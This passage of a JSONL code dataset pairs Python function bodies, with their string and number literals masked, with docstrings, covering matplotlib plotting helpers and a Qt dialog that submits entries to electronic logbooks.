enumerate(images[i_min_ind:col_max_ind+<NUM_LIT:1>]):<EOL><INDENT>ax = fig_array[p].add_subplot(gs[i, j])<EOL>try:<EOL><INDENT>if _np.issubdtype(image.dtype, _np.integer):<EOL><INDENT>image = _np.array(image, dtype=float)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>plot = ax.imshow(image, **kwargs)<EOL>if cmap is not None:<EOL><INDENT>plot.set_cmap(cmap)<EOL><DEDENT>if cbar:<EOL><INDENT>fig_array[p].colorbar(plot)<EOL><DEDENT><DEDENT><DEDENT>fig_array[p].tight_layout()<EOL>if pdf is not None:<EOL><INDENT>f.savefig(fig_array[p])<EOL><DEDENT>if not show:<EOL><INDENT>_plt.close(fig_array[p])<EOL><DEDENT><DEDENT>if pdf is not None:<EOL><INDENT>f.close()<EOL><DEDENT>return fig_array<EOL>", "docstring": "Plots an array of *images* to a single window of size *figsize* with *rows* and *columns*.\n\n* *cmap*: Specifies color map\n* *cbar*: Add color bars\n* *show*: If false, dismisses each window after it is created and optionally saved\n* *pdf*: Save to a pdf of filename *pdf*\n* *\\*\\*kwargs* passed to :class:`matplotlib.axis.imshow`", "id": "f12112:m0"}
{"signature": "def plot_featured(*args, **kwargs):", "body": "<EOL>toplabel = kwargs.pop('<STR_LIT>', None)<EOL>xlabel   = kwargs.pop('<STR_LIT>', None)<EOL>ylabel   = kwargs.pop('<STR_LIT>', None)<EOL>legend   = kwargs.pop('<STR_LIT>', None)<EOL>error    = kwargs.pop('<STR_LIT:error>', None)<EOL>figlabel = kwargs.pop('<STR_LIT>', None)<EOL>fig      = kwargs.pop('<STR_LIT>', None)<EOL>if figlabel is not None:<EOL><INDENT>fig = _figure(figlabel)<EOL><DEDENT>elif fig is None:<EOL><INDENT>try:<EOL><INDENT>fig = _plt.gcf()<EOL><DEDENT>except:<EOL><INDENT>fig = _plt.fig()<EOL><DEDENT><DEDENT>if error is None:<EOL><INDENT>_plt.plot(*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>_plt.errorbar(*args, **kwargs)<EOL><DEDENT>_addlabel(toplabel, xlabel, ylabel, fig=fig)<EOL>if legend is not None:<EOL><INDENT>_plt.legend(legend)<EOL><DEDENT>return fig<EOL>", "docstring": "Wrapper for matplotlib.pyplot.plot() / errorbar().\n\nTakes options:\n\n* 'error': if true, use :func:`matplotlib.pyplot.errorbar` instead of :func:`matplotlib.pyplot.plot`. *\\*args* and *\\*\\*kwargs* passed through here.\n* 'fig': figure to use.\n* 'figlabel': figure label.\n* 'legend': legend location.\n* 'toplabel': top label of plot.\n* 'xlabel': x-label of plot.\n* 'ylabel': y-label of plot.", "id": "f12113:m0"}
{"signature": "def figure(title=None, **kwargs):", "body": "fig = _figure(**kwargs)<EOL>if title is not None:<EOL><INDENT>fig.canvas.set_window_title(title)<EOL><DEDENT>return fig<EOL>", "docstring": "Creates a figure with *\\*\\*kwargs* with a window title *title*.\n\nReturns class :class:`matplotlib.figure.Figure`.", "id": "f12114:m0"}
{"signature": "def savefig(filename, path=\"<STR_LIT>\", fig=None, ext='<STR_LIT>', verbose=False, **kwargs):", "body": "filename       = os.path.join(path, filename)<EOL>final_filename = '<STR_LIT>'.format(filename, ext).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\").replace(\"<STR_LIT:\\n>\", \"<STR_LIT>\")<EOL>final_filename = os.path.abspath(final_filename)<EOL>final_path = os.path.dirname(final_filename)<EOL>if not os.path.exists(final_path):<EOL><INDENT>os.makedirs(final_path)<EOL><DEDENT>if verbose:<EOL><INDENT>print('<STR_LIT>'.format(final_filename))<EOL><DEDENT>if fig is not None:<EOL><INDENT>fig.savefig(final_filename, bbox_inches='<STR_LIT>', **kwargs)<EOL><DEDENT>else:<EOL><INDENT>plt.savefig(final_filename, bbox_inches='<STR_LIT>', **kwargs)<EOL><DEDENT>", "docstring": "Save the figure *fig* (optional, if not specified, latest figure in focus) to *filename* in the path *path* with extension *ext*.\n\n*\\*\\*kwargs* is passed to :meth:`matplotlib.figure.Figure.savefig`.", "id": "f12115:m0"}
{"signature": "def less_labels(ax, x_fraction=<NUM_LIT:0.5>, y_fraction=<NUM_LIT:0.5>):", "body": "nbins = _np.size(ax.get_xticklabels())<EOL>ax.locator_params(nbins=_np.floor(nbins*x_fraction), axis='<STR_LIT:x>')<EOL>nbins = _np.size(ax.get_yticklabels())<EOL>ax.locator_params(nbins=_np.floor(nbins*y_fraction), axis='<STR_LIT:y>')<EOL>", "docstring": "Scale the number of tick labels in x and y by *x_fraction* and *y_fraction* respectively.", "id": "f12116:m0"}
{"signature": "@property<EOL><INDENT>def parent(self):<DEDENT>", "body": "return self._parent<EOL>", "docstring": "The parent object.", "id": "f12117:c0:m4"}
{"signature": "@property<EOL><INDENT>def verbose(self):<DEDENT>", "body": "return self._verbose<EOL>", "docstring": "Determines whether rectangle coordinates are printed to the terminal on selection.", "id": "f12117:c0:m5"}
{"signature": "@property<EOL><INDENT>def RectangleSelector(self):<DEDENT>", "body": "return self._RectangleSelector<EOL>", "docstring": "The instance of :class:`matplotlib.widgets.RectangleSelector`.", "id": "f12117:c0:m7"}
{"signature": "@property<EOL><INDENT>def ax(self):<DEDENT>", "body": "return self._ax<EOL>", "docstring": "The axis used.", "id": "f12117:c0:m8"}
{"signature": "@property<EOL><INDENT>def selfunc(self):<DEDENT>", "body": "return self._selfunc<EOL>", "docstring": "A placeholder for the function called on each mouse release.", "id": "f12117:c0:m9"}
{"signature": "@property<EOL><INDENT>def selfunc_results(self):<DEDENT>", "body": "if self.selfunc is not None:<EOL><INDENT>return self.selfunc(self)<EOL><DEDENT>", "docstring": "The results of :func:`selfunc(instance) <scisalt.matplotlib.RectangleSelector.selfunc>` where *instance* is this class.", "id": "f12117:c0:m10"}
{"signature": "@property<EOL><INDENT>def eclick(self):<DEDENT>", "body": "if self._eclick is None:<EOL><INDENT>raise IOError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return self._eclick<EOL><DEDENT>", "docstring": "The starting mouse click from :class:`RectangleSelector <scisalt.matplotlib.RectangleSelector.RectangleSelector>`.", "id": "f12117:c0:m11"}
{"signature": "@property<EOL><INDENT>def erelease(self):<DEDENT>", "body": "if self._erelease is None:<EOL><INDENT>raise IOError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return self._erelease<EOL><DEDENT>", "docstring": "The ending mouse click from :class:`RectangleSelector <scisalt.matplotlib.RectangleSelector.RectangleSelector>`.", "id": "f12117:c0:m12"}
{"signature": "@property<EOL><INDENT>def x0(self):<DEDENT>", "body": "return self._x0<EOL>", "docstring": "Minimum x coordinate of rectangle.", "id": "f12117:c0:m13"}
{"signature": "@property<EOL><INDENT>def x1(self):<DEDENT>", "body": "return self._x1<EOL>", "docstring": "Maximum x coordinate of rectangle.", "id": "f12117:c0:m15"}
{"signature": "@property<EOL><INDENT>def y0(self):<DEDENT>", "body": "return self._y0<EOL>", "docstring": "Minimum y coordinate of rectangle.", "id": "f12117:c0:m17"}
{"signature": "@property<EOL><INDENT>def y1(self):<DEDENT>", "body": "return self._y1<EOL>", "docstring": "Maximum y coordinate of rectangle.", "id": "f12117:c0:m19"}
{"signature": "@property<EOL><INDENT>def xslice(self):<DEDENT>", "body": "return [self.x0, self.x1]<EOL>", "docstring": "A list `[x0, x1]`.", "id": "f12117:c0:m21"}
{"signature": "@property<EOL><INDENT>def yslice(self):<DEDENT>", "body": "return [self.y0, self.y1]<EOL>", "docstring": "A list `[y0, y1]`.", "id": "f12117:c0:m23"}
{"signature": "@property<EOL><INDENT>def width(self):<DEDENT>", "body": "return self.x1-self.x0<EOL>", "docstring": "Width of rectangle.", "id": "f12117:c0:m25"}
{"signature": "@property<EOL><INDENT>def height(self):<DEDENT>", "body": "return self.y1-self.y0<EOL>", "docstring": "Height of rectangle.", "id": "f12117:c0:m26"}
{"signature": "def hist2d(x, y, bins=<NUM_LIT:10>, labels=None, aspect=\"<STR_LIT>\", plot=True, fig=None, ax=None, interpolation='<STR_LIT:none>', cbar=True, **kwargs):", "body": "h_range   = kwargs.pop('<STR_LIT>', None)<EOL>h_normed  = kwargs.pop('<STR_LIT>', None)<EOL>h_weights = kwargs.pop('<STR_LIT>', None)<EOL>h, xe, ye = _np.histogram2d(x, y, bins=bins, range=h_range, normed=h_normed, weights=h_weights)<EOL>extent    = [xe[<NUM_LIT:0>], xe[-<NUM_LIT:1>], ye[<NUM_LIT:0>], ye[-<NUM_LIT:1>]]<EOL>if plot:<EOL><INDENT>if ax is None:<EOL><INDENT>if fig is None:<EOL><INDENT>fig = _figure('<STR_LIT>')<EOL><DEDENT>ax = fig.gca()<EOL>ax.clear()<EOL><DEDENT>img = ax.imshow(h.transpose(), extent=extent, interpolation=interpolation, aspect=aspect, **kwargs)<EOL>if cbar:<EOL><INDENT>_colorbar(ax=ax, im=img)<EOL><DEDENT>if labels is not None:<EOL><INDENT>_addlabel(labels[<NUM_LIT:0>], labels[<NUM_LIT:1>], labels[<NUM_LIT:2>])<EOL><DEDENT><DEDENT>return h, extent<EOL>", "docstring": "Creates a 2-D histogram of data *x*, *y* with *bins*, *labels* = :code:`[title, xlabel, ylabel]`, aspect ration *aspect*. Attempts to use axis *ax* first, then the current axis of *fig*, then the last axis, to use an already-created window.\n\nPlotting (*plot*) is on by default, setting false doesn't attempt to create a figure.\n\n*interpolation* sets the interpolation type of :meth:`matplotlib.axis.imshow`.\n\nReturns a handle and extent as :code:`h, extent`", "id": "f12118:m0"}
{"signature": "def axesfontsize(ax, fontsize):", "body": "items = ([ax.title, ax.xaxis.label, ax.yaxis.label] + ax.get_xticklabels() + ax.get_yticklabels())<EOL>for item in items:<EOL><INDENT>item.set_fontsize(fontsize)<EOL><DEDENT>", "docstring": "Change the font size for the title, x and y labels, and x and y tick labels for axis *ax* to *fontsize*.", "id": "f12119:m0"}
{"signature": "def setup_axes(rows=<NUM_LIT:1>, cols=<NUM_LIT:1>, figsize=(<NUM_LIT:8>, <NUM_LIT:6>), expand=True, tight_layout=None, **kwargs):", "body": "if expand:<EOL><INDENT>figsize = (figsize[<NUM_LIT:0>]*cols, figsize[<NUM_LIT:1>]*rows)<EOL><DEDENT>figargs = {}<EOL>if isinstance(tight_layout, dict):<EOL><INDENT>figargs[\"<STR_LIT>\"] = tight_layout<EOL><DEDENT>elif tight_layout == \"<STR_LIT>\":<EOL><INDENT>figargs[\"<STR_LIT>\"] = {\"<STR_LIT>\": (<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT>)}<EOL><DEDENT>dpi = kwargs.pop('<STR_LIT>', None)<EOL>fig, gs = _setup_figure(rows=rows, cols=cols, figsize=figsize, dpi=dpi, **figargs)<EOL>axes = _np.empty(shape=(rows, cols), dtype=object)<EOL>for i in range(rows):<EOL><INDENT>for j in range(cols):<EOL><INDENT>axes[i, j] = fig.add_subplot(gs[i, j], **kwargs)<EOL><DEDENT><DEDENT>if axes.shape == (<NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>return fig, axes[<NUM_LIT:0>, <NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return fig, axes<EOL><DEDENT>", "docstring": "Sets up a figure of size *figsize* with a number of rows (*rows*) and columns (*cols*). \\*\\*kwargs passed through to :meth:`matplotlib.figure.Figure.add_subplot`.\n\n.. versionadded:: 1.2\n\nParameters\n----------\n\nrows : int\n    Number of rows to create.\ncols : int\n    Number of columns to create.\nfigsize : tuple\n    Size of figure to create.\nexpand : bool\n    Make the entire figure with size `figsize`.\n\nReturns\n-------\n\nfig : :class:`matplotlib.figure.Figure`\n    The figure.\naxes : :class:`numpy.ndarray`\n    An array of all of the axes. (Unless there's only one axis, in which case it returns an object instance :class:`matplotlib.axis.Axis`.)", "id": "f12120:m0"}
{"signature": "def NonUniformImage_axes(img):", "body": "xmin = <NUM_LIT:0><EOL>xmax = img.shape[<NUM_LIT:1>]-<NUM_LIT:1><EOL>ymin = <NUM_LIT:0><EOL>ymax = img.shape[<NUM_LIT:0>]-<NUM_LIT:1><EOL>x = _np.linspace(xmin, xmax, img.shape[<NUM_LIT:1>])<EOL>y = _np.linspace(ymin, ymax, img.shape[<NUM_LIT:0>])<EOL>return x, y<EOL>", "docstring": "Returns axes *x, y* for a given image *img* to be used with :func:`scisalt.matplotlib.NonUniformImage`.\n\nReturns\n-------\nx, y : float, float", "id": "f12121:m0"}
{"signature": "def addlabel(ax=None, toplabel=None, xlabel=None, ylabel=None, zlabel=None, clabel=None, cb=None, windowlabel=None, fig=None, axes=None):", "body": "if (axes is None) and (ax is not None):<EOL><INDENT>axes = ax<EOL><DEDENT>if (windowlabel is not None) and (fig is not None):<EOL><INDENT>fig.canvas.set_window_title(windowlabel)<EOL><DEDENT>if fig is None:<EOL><INDENT>fig = _plt.gcf()<EOL><DEDENT>if fig is not None and axes is None:<EOL><INDENT>axes = fig.get_axes()<EOL>if axes == []:<EOL><INDENT>logger.error('<STR_LIT>')<EOL><DEDENT><DEDENT>if axes is not None:<EOL><INDENT>if toplabel is not None:<EOL><INDENT>axes.set_title(toplabel)<EOL><DEDENT>if xlabel is not None:<EOL><INDENT>axes.set_xlabel(xlabel)<EOL><DEDENT>if ylabel is not None:<EOL><INDENT>axes.set_ylabel(ylabel)<EOL><DEDENT>if zlabel is not None:<EOL><INDENT>axes.set_zlabel(zlabel)<EOL><DEDENT><DEDENT>if (clabel is not None) or (cb is not None):<EOL><INDENT>if (clabel is not None) and (cb is not None):<EOL><INDENT>cb.set_label(clabel)<EOL><DEDENT>else:<EOL><INDENT>if clabel is None:<EOL><INDENT>logger.error('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>logger.error('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Adds labels to a plot.", "id": "f12122:m0"}
{"signature": "@property<EOL><INDENT>def x0(self):<DEDENT>", "body": "return self._sorted_x[<NUM_LIT:0>]<EOL>", "docstring": "The smaller x coordinate.", "id": "f12127:c0:m3"}
{"signature": "@property<EOL><INDENT>def x1(self):<DEDENT>", "body": "return self._sorted_x[<NUM_LIT:1>]<EOL>", "docstring": "The larger x coordinate.", "id": "f12127:c0:m4"}
{"signature": "@property<EOL><INDENT>def y0(self):<DEDENT>", "body": "return self._sorted_y[<NUM_LIT:0>]<EOL>", "docstring": "The smaller x coordinate.", "id": "f12127:c0:m7"}
{"signature": "@property<EOL><INDENT>def y1(self):<DEDENT>", "body": "return self._sorted_y[<NUM_LIT:1>]<EOL>", "docstring": "The larger x coordinate.", "id": "f12127:c0:m8"}
{"signature": "def print2elog(author='<STR_LIT>', title='<STR_LIT>', text='<STR_LIT>', link=None, file=None, now=None):", "body": "<EOL>if now is None:<EOL><INDENT>now  = _dt.datetime.now()<EOL><DEDENT>fulltime = now.strftime('<STR_LIT>')<EOL>if not ((link is None) ^ (file is None)):<EOL><INDENT>link_copied = _copy_file(link, fulltime)<EOL>file_copied = _copy_file(file, fulltime)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>loader = _jj.PackageLoader('<STR_LIT>', '<STR_LIT>')<EOL>env = _jj.Environment(loader=loader, trim_blocks=True)<EOL>template = env.get_template('<STR_LIT>')<EOL>stream = template.stream(author=author, title=title, text=text, link=link_copied, file=file_copied, now=now)<EOL>with _tempfile.TemporaryDirectory() as dirname:<EOL><INDENT>filename = '<STR_LIT>'.format(fulltime)<EOL>filepath = _os.path.join(dirname, filename)<EOL>with open(filepath, '<STR_LIT>') as fid:<EOL><INDENT>stream.dump(fid)<EOL><DEDENT>finalpath = _os.path.join(basedir, filename)<EOL>_shutil.copyfile(filepath, finalpath)<EOL><DEDENT>", "docstring": "Prints to the elog.\n\nParameters\n----------\n\nauthor : str, optional\n    Author of the elog.\ntitle : str, optional\n    Title of the elog.\nlink : str, optional\n    Path to a thumbnail.\nfile : str, optional\n    Path to a file.\nnow : :class:`datetime.datetime`\n    Time of the elog.", "id": "f12128:m1"}
{"signature": "def resourcePath(self, relative_path):", "body": "from os import path<EOL>import sys<EOL>try:<EOL><INDENT>base_path = sys._MEIPASS<EOL><DEDENT>except Exception:<EOL><INDENT>base_path = path.dirname(path.abspath(__file__))<EOL><DEDENT>return path.join(base_path, relative_path)<EOL>", "docstring": "Get absolute path to resource, works for dev and for PyInstaller", "id": "f12131:c0:m1"}
{"signature": "def addLogbook(self, physDef= \"<STR_LIT>\", mccDef=\"<STR_LIT>\", initialInstance=False):", "body": "if self.logMenuCount < <NUM_LIT:5>:<EOL><INDENT>self.logMenus.append(LogSelectMenu(self.logui.multiLogLayout, initialInstance))<EOL>self.logMenus[-<NUM_LIT:1>].addLogbooks(self.logTypeList[<NUM_LIT:1>], self.physics_programs, physDef)<EOL>self.logMenus[-<NUM_LIT:1>].addLogbooks(self.logTypeList[<NUM_LIT:0>], self.mcc_programs, mccDef)<EOL>self.logMenus[-<NUM_LIT:1>].show()<EOL>self.logMenuCount += <NUM_LIT:1><EOL>if initialInstance:<EOL><INDENT>QObject.connect(self.logMenus[-<NUM_LIT:1>].logButton, SIGNAL(\"<STR_LIT>\"), self.addLogbook)<EOL><DEDENT>else:<EOL><INDENT>from functools import partial<EOL>QObject.connect(self.logMenus[-<NUM_LIT:1>].logButton, SIGNAL(\"<STR_LIT>\"), partial(self.removeLogbook, self.logMenus[-<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>", "docstring": "Add new block of logbook selection windows. Only 5 allowed.", "id": "f12131:c0:m6"}
{"signature": "def removeLogbook(self, menu=None):", "body": "if self.logMenuCount > <NUM_LIT:1> and menu is not None:<EOL><INDENT>menu.removeMenu()<EOL>self.logMenus.remove(menu)<EOL>self.logMenuCount -= <NUM_LIT:1><EOL><DEDENT>", "docstring": "Remove logbook menu set.", "id": "f12131:c0:m7"}
{"signature": "def selectedLogs(self):", "body": "mcclogs = []<EOL>physlogs = []<EOL>for i in range(len(self.logMenus)):<EOL><INDENT>logType = self.logMenus[i].selectedType()<EOL>log = self.logMenus[i].selectedProgram()<EOL>if logType == \"<STR_LIT>\":<EOL><INDENT>if log not in mcclogs:<EOL><INDENT>mcclogs.append(log)<EOL><DEDENT><DEDENT>elif logType == \"<STR_LIT>\":<EOL><INDENT>if log not in physlogs:<EOL><INDENT>physlogs.append(log)<EOL><DEDENT><DEDENT><DEDENT>return mcclogs, physlogs<EOL>", "docstring": "Return selected log books by type.", "id": "f12131:c0:m8"}
{"signature": "def acceptedUser(self, logType):", "body": "from urllib2 import urlopen, URLError, HTTPError<EOL>import json<EOL>isApproved = False<EOL>userName = str(self.logui.userName.text())<EOL>if userName == \"<STR_LIT>\":<EOL><INDENT>return False  <EOL><DEDENT>if logType == \"<STR_LIT>\":<EOL><INDENT>networkFault = False<EOL>data = []<EOL>log_url = \"<STR_LIT>\" + userName<EOL>try:<EOL><INDENT>data = urlopen(log_url, None, <NUM_LIT:5>).read()<EOL>data = json.loads(data)<EOL><DEDENT>except URLError as error:<EOL><INDENT>print(\"<STR_LIT>\" + str(error.reason))<EOL>networkFault = True<EOL><DEDENT>except HTTPError as error:<EOL><INDENT>print(\"<STR_LIT>\" + str(error.reason))<EOL>networkFault = True<EOL><DEDENT>if networkFault:<EOL><INDENT>msgBox = QMessageBox()<EOL>msgBox.setText(\"<STR_LIT>\")<EOL>msgBox.setInformativeText(\"<STR_LIT>\")<EOL>msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)<EOL>msgBox.setDefaultButton(QMessageBox.Ok)<EOL>if msgBox.exec_() == QMessageBox.Ok:<EOL><INDENT>isApproved = True<EOL><DEDENT><DEDENT>if data != [] and (data is not None):<EOL><INDENT>isApproved = True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>isApproved = True<EOL><DEDENT>return isApproved<EOL>", "docstring": "Verify enetered user name is on accepted MCC logbook list.", "id": "f12131:c0:m9"}
{"signature": "def xmlSetup(self, logType, logList):", "body": "from xml.etree.ElementTree import Element, SubElement, ElementTree<EOL>from datetime import datetime<EOL>curr_time = datetime.now()<EOL>if logType == \"<STR_LIT>\":<EOL><INDENT>log_entry = Element('<STR_LIT>')<EOL>title     = SubElement(log_entry, '<STR_LIT:title>')<EOL>program   = SubElement(log_entry, '<STR_LIT>')<EOL>timestamp = SubElement(log_entry, '<STR_LIT>')<EOL>priority  = SubElement(log_entry, '<STR_LIT>')<EOL>os_user   = SubElement(log_entry, '<STR_LIT>')<EOL>hostname  = SubElement(log_entry, '<STR_LIT>')<EOL>text      = SubElement(log_entry, '<STR_LIT:text>')<EOL>log_user  = SubElement(log_entry, '<STR_LIT>')<EOL>logbook = []<EOL>for i in range(len(logList)):<EOL><INDENT>logbook.append(SubElement(log_entry, '<STR_LIT>'))<EOL>logbook[i].text = logList[i].lower()<EOL><DEDENT>log_entry.attrib['<STR_LIT:type>'] = \"<STR_LIT>\"<EOL>program.text = \"<STR_LIT>\"<EOL>priority.text = \"<STR_LIT>\"<EOL>os_user.text = \"<STR_LIT>\"<EOL>hostname.text = \"<STR_LIT>\"<EOL>text.attrib['<STR_LIT:type>'] = \"<STR_LIT>\"<EOL>if not self.imagePixmap.isNull():<EOL><INDENT>attachment = SubElement(log_entry, '<STR_LIT>')<EOL>attachment.attrib['<STR_LIT:name>'] = \"<STR_LIT>\"<EOL>attachment.attrib['<STR_LIT:type>'] = \"<STR_LIT>\" + self.imageType<EOL>attachment.text = curr_time.strftime(\"<STR_LIT>\") + str(curr_time.microsecond) + \"<STR_LIT:.>\" + self.imageType<EOL><DEDENT>timestamp.text = curr_time.strftime(\"<STR_LIT>\")<EOL>fileName = \"<STR_LIT>\" + curr_time.strftime(\"<STR_LIT>\") + str(curr_time.microsecond) + \"<STR_LIT>\"<EOL><DEDENT>else:  <EOL><INDENT>timeString = curr_time.strftime(\"<STR_LIT>\")<EOL>log_entry = Element(None)<EOL>severity  = SubElement(log_entry, '<STR_LIT>')<EOL>location  = SubElement(log_entry, '<STR_LIT:location>')<EOL>keywords  = SubElement(log_entry, '<STR_LIT>')<EOL>time      = SubElement(log_entry, '<STR_LIT:time>')<EOL>isodate   = SubElement(log_entry, '<STR_LIT>')<EOL>log_user  = SubElement(log_entry, '<STR_LIT>')<EOL>category  = SubElement(log_entry, '<STR_LIT>')<EOL>title     = SubElement(log_entry, '<STR_LIT:title>')<EOL>metainfo  = SubElement(log_entry, '<STR_LIT>')<EOL>if not self.imagePixmap.isNull():<EOL><INDENT>imageFile = SubElement(log_entry, '<STR_LIT>')<EOL>imageFile.text = timeString + \"<STR_LIT>\" + self.imageType<EOL>thumbnail = SubElement(log_entry, '<STR_LIT:file>')<EOL>thumbnail.text = timeString + \"<STR_LIT>\"<EOL><DEDENT>text      = SubElement(log_entry, '<STR_LIT:text>')  <EOL>log_entry.attrib['<STR_LIT:type>'] = \"<STR_LIT>\"<EOL>category.text = \"<STR_LIT>\"<EOL>location.text = \"<STR_LIT>\"<EOL>severity.text = \"<STR_LIT>\"<EOL>keywords.text = \"<STR_LIT:none>\"<EOL>time.text = curr_time.strftime(\"<STR_LIT>\")<EOL>isodate.text = curr_time.strftime(\"<STR_LIT>\")<EOL>metainfo.text = timeString + \"<STR_LIT>\"<EOL>fileName = \"<STR_LIT>\" + metainfo.text<EOL><DEDENT>log_user.text = str(self.logui.userName.text())<EOL>title.text = str(self.logui.titleEntry.text())<EOL>if title.text == \"<STR_LIT>\":<EOL><INDENT>QMessageBox().warning(self, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>return None<EOL><DEDENT>text.text = str(self.logui.textEntry.toPlainText())<EOL>if text.text == \"<STR_LIT>\":<EOL><INDENT>text.text = \"<STR_LIT:U+0020>\"<EOL><DEDENT>xmlFile = open(fileName, \"<STR_LIT:w>\")<EOL>if logType == \"<STR_LIT>\":<EOL><INDENT>ElementTree(log_entry).write(xmlFile)<EOL><DEDENT>else:<EOL><INDENT>xmlString = self.prettify(log_entry)<EOL>xmlFile.write(xmlString)<EOL><DEDENT>xmlFile.write(\"<STR_LIT:\\n>\")  <EOL>xmlFile.close()<EOL>return fileName.rstrip(\"<STR_LIT>\")<EOL>", "docstring": "Create xml file with fields from logbook form.", "id": "f12131:c0:m10"}
{"signature": "def prettify(self, elem):", "body": "from xml.etree import ElementTree<EOL>from re import sub<EOL>rawString = ElementTree.tostring(elem, '<STR_LIT:utf-8>')<EOL>parsedString = sub(r'<STR_LIT>', '<STR_LIT:\\n>', rawString)  <EOL>return parsedString[<NUM_LIT:1>:]<EOL>", "docstring": "Parse xml elements for pretty printing", "id": "f12131:c0:m11"}
{"signature": "def prepareImages(self, fileName, logType):", "body": "import subprocess<EOL>if self.imageType == \"<STR_LIT>\":<EOL><INDENT>self.imagePixmap.save(fileName + \"<STR_LIT>\", \"<STR_LIT>\", -<NUM_LIT:1>)<EOL>if logType == \"<STR_LIT>\":<EOL><INDENT>makePostScript = \"<STR_LIT>\" + fileName + \"<STR_LIT>\" + fileName + \"<STR_LIT>\"<EOL>process = subprocess.Popen(makePostScript, shell=True)<EOL>process.wait()<EOL>thumbnailPixmap = self.imagePixmap.scaled(<NUM_LIT>, <NUM_LIT>, Qt.KeepAspectRatio)<EOL>thumbnailPixmap.save(fileName + \"<STR_LIT>\", \"<STR_LIT>\", -<NUM_LIT:1>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>renameImage = \"<STR_LIT>\" + self.image + \"<STR_LIT:U+0020>\" + fileName + \"<STR_LIT>\"<EOL>process = subprocess.Popen(renameImage, shell=True)<EOL>process.wait()<EOL>if logType == \"<STR_LIT>\":<EOL><INDENT>thumbnailPixmap = self.imagePixmap.scaled(<NUM_LIT>, <NUM_LIT>, Qt.KeepAspectRatio)<EOL>thumbnailPixmap.save(fileName + \"<STR_LIT>\", \"<STR_LIT>\", -<NUM_LIT:1>)<EOL><DEDENT><DEDENT>", "docstring": "Convert supplied QPixmap object to image file.", "id": "f12131:c0:m12"}
{"signature": "def submitEntry(self):", "body": "<EOL>mcclogs, physlogs = self.selectedLogs()<EOL>success = True<EOL>if mcclogs != []:<EOL><INDENT>if not self.acceptedUser(\"<STR_LIT>\"):<EOL><INDENT>QMessageBox().warning(self, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>return<EOL><DEDENT>fileName = self.xmlSetup(\"<STR_LIT>\", mcclogs)<EOL>if fileName is None:<EOL><INDENT>return<EOL><DEDENT>if not self.imagePixmap.isNull():<EOL><INDENT>self.prepareImages(fileName, \"<STR_LIT>\")<EOL><DEDENT>success = self.sendToLogbook(fileName, \"<STR_LIT>\")<EOL><DEDENT>if physlogs != []:<EOL><INDENT>for i in range(len(physlogs)):<EOL><INDENT>fileName = self.xmlSetup(\"<STR_LIT>\", physlogs[i])<EOL>if fileName is None:<EOL><INDENT>return<EOL><DEDENT>if not self.imagePixmap.isNull():<EOL><INDENT>self.prepareImages(fileName, \"<STR_LIT>\")<EOL><DEDENT>success_phys = self.sendToLogbook(fileName, \"<STR_LIT>\", physlogs[i])<EOL>success = success and success_phys<EOL><DEDENT><DEDENT>self.done(success)<EOL>", "docstring": "Process user inputs and subit logbook entry when user clicks Submit button", "id": "f12131:c0:m13"}
{"signature": "def sendToLogbook(self, fileName, logType, location=None):", "body": "import subprocess<EOL>success = True<EOL>if logType == \"<STR_LIT>\":<EOL><INDENT>fileString = \"<STR_LIT>\"<EOL>if not self.imagePixmap.isNull():<EOL><INDENT>fileString = fileName + \"<STR_LIT:.>\" + self.imageType<EOL><DEDENT>logcmd = \"<STR_LIT>\" + fileName + \"<STR_LIT>\" + fileString<EOL>process = subprocess.Popen(logcmd, shell=True)<EOL>process.wait()<EOL>if process.returncode != <NUM_LIT:0>:<EOL><INDENT>success = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>from shutil import copy<EOL>path = \"<STR_LIT>\" + location.lower() + \"<STR_LIT>\"  <EOL>try:<EOL><INDENT>if not self.imagePixmap.isNull():<EOL><INDENT>copy(fileName + \"<STR_LIT>\", path)<EOL>if self.imageType == \"<STR_LIT>\":<EOL><INDENT>copy(fileName + \"<STR_LIT>\", path)<EOL><DEDENT>else:<EOL><INDENT>copy(fileName + \"<STR_LIT:.>\" + self.imageType, path)<EOL><DEDENT><DEDENT>copy(fileName + \"<STR_LIT>\", path)<EOL><DEDENT>except IOError as error:<EOL><INDENT>print(error)<EOL>success = False<EOL><DEDENT><DEDENT>return success<EOL>", "docstring": "Process log information and push to selected logbooks.", "id": "f12131:c0:m14"}
{"signature": "def clearForm(self):", "body": "self.logui.titleEntry.clear()<EOL>self.logui.textEntry.clear()<EOL>while self.logMenuCount > <NUM_LIT:1>:<EOL><INDENT>self.removeLogbook(self.logMenus[-<NUM_LIT:1>])<EOL><DEDENT>", "docstring": "Clear all form fields (except author).", "id": "f12131:c0:m15"}
